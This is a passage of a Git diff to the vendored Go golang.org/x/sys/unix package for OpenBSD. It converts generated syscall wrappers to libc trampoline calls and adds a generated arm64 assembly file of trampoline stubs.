uintptr(egid), uintptr(sgid)) + _, _, e1 := syscall_rawSyscall(libc_setresgid_trampoline_addr, uintptr(rgid), uintptr(egid), uintptr(sgid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setresgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setresgid setresgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresuid(ruid int, euid int, suid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid)) + _, _, e1 := syscall_rawSyscall(libc_setresuid_trampoline_addr, uintptr(ruid), uintptr(euid), uintptr(suid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setresuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setresuid setresuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrlimit(which int, lim *Rlimit) (err error) { - _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) + _, _, e1 := syscall_rawSyscall(libc_setrlimit_trampoline_addr, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setrlimit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setrlimit setrlimit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrtable(rtable int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setrtable_trampoline_addr, uintptr(rtable), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setrtable_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setrtable setrtable "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { - r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_setsid_trampoline_addr, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1449,26 +1909,38 @@ func Setsid() (pid int, err error) { return } +var libc_setsid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setsid setsid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tp *Timeval) (err error) { - _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_settimeofday_trampoline_addr, uintptr(unsafe.Pointer(tp)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_settimeofday_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_settimeofday settimeofday "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setuid(uid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setuid_trampoline_addr, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setuid setuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { @@ -1477,13 +1949,17 @@ func Stat(path string, stat *Stat_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_stat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_stat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_stat stat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Statfs(path string, stat *Statfs_t) (err error) { @@ -1492,13 +1968,17 @@ func Statfs(path string, stat *Statfs_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_statfs_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_statfs_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_statfs statfs "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlink(path string, link string) (err error) { @@ -1512,13 +1992,17 @@ func Symlink(path string, link string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_symlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_symlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_symlink symlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { @@ -1532,23 +2016,31 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) + _, _, e1 := syscall_syscall(libc_symlinkat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_symlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_symlinkat symlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() (err error) { - _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0) + _, _, e1 := syscall_syscall(libc_sync_trampoline_addr, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sync sync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { @@ -1557,21 +2049,29 @@ func Truncate(path string, length int64) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length)) + _, _, e1 := syscall_syscall(libc_truncate_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_truncate_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_truncate truncate "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(newmask int) (oldmask int) { - r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0) + r0, _, _ := syscall_syscall(libc_umask_trampoline_addr, uintptr(newmask), 0, 0) oldmask = int(r0) return } +var libc_umask_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_umask umask "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlink(path string) (err error) { @@ -1580,13 +2080,17 @@ func Unlink(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_unlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unlink unlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlinkat(dirfd int, path string, flags int) (err error) { @@ -1595,13 +2099,17 @@ func Unlinkat(dirfd int, path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_unlinkat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unlinkat unlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(path string, flags int) (err error) { @@ -1610,13 +2118,17 @@ func Unmount(path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_unmount_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unmount_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unmount unmount "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { @@ -1626,7 +2138,7 @@ func write(fd int, p []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) + r0, _, e1 := syscall_syscall(libc_write_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1634,10 +2146,14 @@ func write(fd int, p []byte) (n int, err error) { return } +var libc_write_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_write write "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) { - r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0) + r0, _, e1 := syscall_syscall6(libc_mmap_trampoline_addr, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos)) ret = uintptr(r0) if e1 != 0 { err = errnoErr(e1) @@ -1645,20 +2161,28 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) ( return } +var libc_mmap_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mmap mmap "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { - _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) + _, _, e1 := syscall_syscall(libc_munmap_trampoline_addr, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munmap_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munmap munmap "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, buf *byte, nbuf int) (n int, err error) { - r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) + r0, _, e1 := syscall_syscall(libc_read_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1669,7 +2193,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) { // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, buf *byte, nbuf int) (n int, err error) { - r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) + r0, _, e1 := syscall_syscall(libc_write_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1685,9 +2209,13 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error if err != nil { return } - _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } + +var libc_utimensat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_utimensat utimensat "libc.so" diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s new file mode 100644 index 000000000..4efeff9ab --- /dev/null +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s @@ -0,0 +1,796 @@ +// go run mkasm.go openbsd arm64 +// Code generated by the command above; DO NOT EDIT. + +#include "textflag.h" + +TEXT libc_getgroups_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getgroups(SB) + +GLOBL ·libc_getgroups_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getgroups_trampoline_addr(SB)/8, $libc_getgroups_trampoline<>(SB) + +TEXT libc_setgroups_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setgroups(SB) + +GLOBL ·libc_setgroups_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setgroups_trampoline_addr(SB)/8, $libc_setgroups_trampoline<>(SB) + +TEXT libc_wait4_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_wait4(SB) + +GLOBL ·libc_wait4_trampoline_addr(SB), RODATA, $8 +DATA ·libc_wait4_trampoline_addr(SB)/8, $libc_wait4_trampoline<>(SB) + +TEXT libc_accept_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_accept(SB) + +GLOBL ·libc_accept_trampoline_addr(SB), RODATA, $8 +DATA ·libc_accept_trampoline_addr(SB)/8, $libc_accept_trampoline<>(SB) + +TEXT libc_bind_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_bind(SB) + +GLOBL ·libc_bind_trampoline_addr(SB), RODATA, $8 +DATA ·libc_bind_trampoline_addr(SB)/8, $libc_bind_trampoline<>(SB) + +TEXT libc_connect_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_connect(SB) + +GLOBL ·libc_connect_trampoline_addr(SB), RODATA, $8 +DATA ·libc_connect_trampoline_addr(SB)/8, $libc_connect_trampoline<>(SB) + +TEXT libc_socket_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_socket(SB) + +GLOBL ·libc_socket_trampoline_addr(SB), RODATA, $8 +DATA ·libc_socket_trampoline_addr(SB)/8, $libc_socket_trampoline<>(SB) + +TEXT libc_getsockopt_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsockopt(SB) + +GLOBL ·libc_getsockopt_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getsockopt_trampoline_addr(SB)/8, $libc_getsockopt_trampoline<>(SB) + +TEXT libc_setsockopt_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setsockopt(SB) + +GLOBL ·libc_setsockopt_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setsockopt_trampoline_addr(SB)/8, $libc_setsockopt_trampoline<>(SB) + +TEXT libc_getpeername_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpeername(SB) + +GLOBL ·libc_getpeername_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpeername_trampoline_addr(SB)/8, $libc_getpeername_trampoline<>(SB) + +TEXT libc_getsockname_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsockname(SB) + +GLOBL ·libc_getsockname_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getsockname_trampoline_addr(SB)/8, $libc_getsockname_trampoline<>(SB) + +TEXT libc_shutdown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_shutdown(SB) + +GLOBL ·libc_shutdown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_shutdown_trampoline_addr(SB)/8, $libc_shutdown_trampoline<>(SB) + +TEXT libc_socketpair_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_socketpair(SB) + +GLOBL ·libc_socketpair_trampoline_addr(SB), RODATA, $8 +DATA ·libc_socketpair_trampoline_addr(SB)/8, $libc_socketpair_trampoline<>(SB) + +TEXT libc_recvfrom_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_recvfrom(SB) + +GLOBL ·libc_recvfrom_trampoline_addr(SB), RODATA, $8 +DATA ·libc_recvfrom_trampoline_addr(SB)/8, $libc_recvfrom_trampoline<>(SB) + +TEXT libc_sendto_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sendto(SB) + +GLOBL ·libc_sendto_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sendto_trampoline_addr(SB)/8, $libc_sendto_trampoline<>(SB) + +TEXT libc_recvmsg_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_recvmsg(SB) + +GLOBL ·libc_recvmsg_trampoline_addr(SB), RODATA, $8 +DATA ·libc_recvmsg_trampoline_addr(SB)/8, $libc_recvmsg_trampoline<>(SB) + +TEXT libc_sendmsg_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sendmsg(SB) + +GLOBL ·libc_sendmsg_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sendmsg_trampoline_addr(SB)/8, $libc_sendmsg_trampoline<>(SB) + +TEXT libc_kevent_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kevent(SB) + +GLOBL ·libc_kevent_trampoline_addr(SB), RODATA, $8 +DATA ·libc_kevent_trampoline_addr(SB)/8, $libc_kevent_trampoline<>(SB) + +TEXT libc_utimes_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_utimes(SB) + +GLOBL ·libc_utimes_trampoline_addr(SB), RODATA, $8 +DATA ·libc_utimes_trampoline_addr(SB)/8, $libc_utimes_trampoline<>(SB) + +TEXT libc_futimes_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_futimes(SB) + +GLOBL ·libc_futimes_trampoline_addr(SB), RODATA, $8 +DATA ·libc_futimes_trampoline_addr(SB)/8, $libc_futimes_trampoline<>(SB) + +TEXT libc_poll_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_poll(SB) + +GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_poll_trampoline_addr(SB)/8, $libc_poll_trampoline<>(SB) + +TEXT libc_madvise_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_madvise(SB) + +GLOBL ·libc_madvise_trampoline_addr(SB), RODATA, $8 +DATA ·libc_madvise_trampoline_addr(SB)/8, $libc_madvise_trampoline<>(SB) + +TEXT libc_mlock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mlock(SB) + +GLOBL ·libc_mlock_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mlock_trampoline_addr(SB)/8, $libc_mlock_trampoline<>(SB) + +TEXT libc_mlockall_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mlockall(SB) + +GLOBL ·libc_mlockall_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mlockall_trampoline_addr(SB)/8, $libc_mlockall_trampoline<>(SB) + +TEXT libc_mprotect_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mprotect(SB) + +GLOBL ·libc_mprotect_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mprotect_trampoline_addr(SB)/8, $libc_mprotect_trampoline<>(SB) + +TEXT libc_msync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_msync(SB) + +GLOBL ·libc_msync_trampoline_addr(SB), RODATA, $8 +DATA ·libc_msync_trampoline_addr(SB)/8, $libc_msync_trampoline<>(SB) + +TEXT libc_munlock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munlock(SB) + +GLOBL ·libc_munlock_trampoline_addr(SB), RODATA, $8 +DATA ·libc_munlock_trampoline_addr(SB)/8, $libc_munlock_trampoline<>(SB) + +TEXT libc_munlockall_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munlockall(SB) + +GLOBL ·libc_munlockall_trampoline_addr(SB), RODATA, $8 +DATA ·libc_munlockall_trampoline_addr(SB)/8, $libc_munlockall_trampoline<>(SB) + +TEXT libc_pipe2_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pipe2(SB) + +GLOBL ·libc_pipe2_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pipe2_trampoline_addr(SB)/8, $libc_pipe2_trampoline<>(SB) + +TEXT libc_getdents_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getdents(SB) + +GLOBL ·libc_getdents_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getdents_trampoline_addr(SB)/8, $libc_getdents_trampoline<>(SB) + +TEXT libc_getcwd_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getcwd(SB) + +GLOBL ·libc_getcwd_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getcwd_trampoline_addr(SB)/8, $libc_getcwd_trampoline<>(SB) + +TEXT libc_ioctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ioctl(SB) + +GLOBL ·libc_ioctl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_ioctl_trampoline_addr(SB)/8, $libc_ioctl_trampoline<>(SB) + +TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sysctl(SB) + +GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) + +TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ppoll(SB) + +GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_ppoll_trampoline_addr(SB)/8, $libc_ppoll_trampoline<>(SB) + +TEXT libc_access_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_access(SB) + +GLOBL ·libc_access_trampoline_addr(SB), RODATA, $8 +DATA ·libc_access_trampoline_addr(SB)/8, $libc_access_trampoline<>(SB) + +TEXT libc_adjtime_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_adjtime(SB) + +GLOBL ·libc_adjtime_trampoline_addr(SB), RODATA, $8 +DATA ·libc_adjtime_trampoline_addr(SB)/8, $libc_adjtime_trampoline<>(SB) + +TEXT libc_chdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chdir(SB) + +GLOBL ·libc_chdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chdir_trampoline_addr(SB)/8, $libc_chdir_trampoline<>(SB) + +TEXT libc_chflags_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chflags(SB) + +GLOBL ·libc_chflags_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chflags_trampoline_addr(SB)/8, $libc_chflags_trampoline<>(SB) + +TEXT libc_chmod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chmod(SB) + +GLOBL ·libc_chmod_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chmod_trampoline_addr(SB)/8, $libc_chmod_trampoline<>(SB) + +TEXT libc_chown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chown(SB) + +GLOBL ·libc_chown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chown_trampoline_addr(SB)/8, $libc_chown_trampoline<>(SB) + +TEXT libc_chroot_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chroot(SB) + +GLOBL ·libc_chroot_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chroot_trampoline_addr(SB)/8, $libc_chroot_trampoline<>(SB) + +TEXT libc_close_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_close(SB) + +GLOBL ·libc_close_trampoline_addr(SB), RODATA, $8 +DATA ·libc_close_trampoline_addr(SB)/8, $libc_close_trampoline<>(SB) + +TEXT libc_dup_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup(SB) + +GLOBL ·libc_dup_trampoline_addr(SB), RODATA, $8 +DATA ·libc_dup_trampoline_addr(SB)/8, $libc_dup_trampoline<>(SB) + +TEXT libc_dup2_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup2(SB) + +GLOBL ·libc_dup2_trampoline_addr(SB), RODATA, $8 +DATA ·libc_dup2_trampoline_addr(SB)/8, $libc_dup2_trampoline<>(SB) + +TEXT libc_dup3_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup3(SB) + +GLOBL ·libc_dup3_trampoline_addr(SB), RODATA, $8 +DATA ·libc_dup3_trampoline_addr(SB)/8, $libc_dup3_trampoline<>(SB) + +TEXT libc_exit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_exit(SB) + +GLOBL ·libc_exit_trampoline_addr(SB), RODATA, $8 +DATA ·libc_exit_trampoline_addr(SB)/8, $libc_exit_trampoline<>(SB) + +TEXT libc_faccessat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_faccessat(SB) + +GLOBL ·libc_faccessat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_faccessat_trampoline_addr(SB)/8, $libc_faccessat_trampoline<>(SB) + +TEXT libc_fchdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchdir(SB) + +GLOBL ·libc_fchdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchdir_trampoline_addr(SB)/8, $libc_fchdir_trampoline<>(SB) + +TEXT libc_fchflags_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchflags(SB) + +GLOBL ·libc_fchflags_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchflags_trampoline_addr(SB)/8, $libc_fchflags_trampoline<>(SB) + +TEXT libc_fchmod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchmod(SB) + +GLOBL ·libc_fchmod_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchmod_trampoline_addr(SB)/8, $libc_fchmod_trampoline<>(SB) + +TEXT libc_fchmodat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchmodat(SB) + +GLOBL ·libc_fchmodat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchmodat_trampoline_addr(SB)/8, $libc_fchmodat_trampoline<>(SB) + +TEXT libc_fchown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchown(SB) + +GLOBL ·libc_fchown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchown_trampoline_addr(SB)/8, $libc_fchown_trampoline<>(SB) + +TEXT libc_fchownat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchownat(SB) + +GLOBL ·libc_fchownat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchownat_trampoline_addr(SB)/8, $libc_fchownat_trampoline<>(SB) + +TEXT libc_flock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_flock(SB) + +GLOBL ·libc_flock_trampoline_addr(SB), RODATA, $8 +DATA ·libc_flock_trampoline_addr(SB)/8, $libc_flock_trampoline<>(SB) + +TEXT libc_fpathconf_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fpathconf(SB) + +GLOBL ·libc_fpathconf_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fpathconf_trampoline_addr(SB)/8, $libc_fpathconf_trampoline<>(SB) + +TEXT libc_fstat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstat(SB) + +GLOBL ·libc_fstat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fstat_trampoline_addr(SB)/8, $libc_fstat_trampoline<>(SB) + +TEXT libc_fstatat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstatat(SB) + +GLOBL ·libc_fstatat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fstatat_trampoline_addr(SB)/8, $libc_fstatat_trampoline<>(SB) + +TEXT libc_fstatfs_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstatfs(SB) + +GLOBL ·libc_fstatfs_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fstatfs_trampoline_addr(SB)/8, $libc_fstatfs_trampoline<>(SB) + +TEXT libc_fsync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fsync(SB) + +GLOBL ·libc_fsync_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fsync_trampoline_addr(SB)/8, $libc_fsync_trampoline<>(SB) + +TEXT libc_ftruncate_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ftruncate(SB) + +GLOBL ·libc_ftruncate_trampoline_addr(SB), RODATA, $8 +DATA ·libc_ftruncate_trampoline_addr(SB)/8, $libc_ftruncate_trampoline<>(SB) + +TEXT libc_getegid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getegid(SB) + +GLOBL ·libc_getegid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getegid_trampoline_addr(SB)/8, $libc_getegid_trampoline<>(SB) + +TEXT libc_geteuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_geteuid(SB) + +GLOBL ·libc_geteuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_geteuid_trampoline_addr(SB)/8, $libc_geteuid_trampoline<>(SB) + +TEXT libc_getgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getgid(SB) + +GLOBL ·libc_getgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getgid_trampoline_addr(SB)/8, $libc_getgid_trampoline<>(SB) + +TEXT libc_getpgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpgid(SB) + +GLOBL ·libc_getpgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpgid_trampoline_addr(SB)/8, 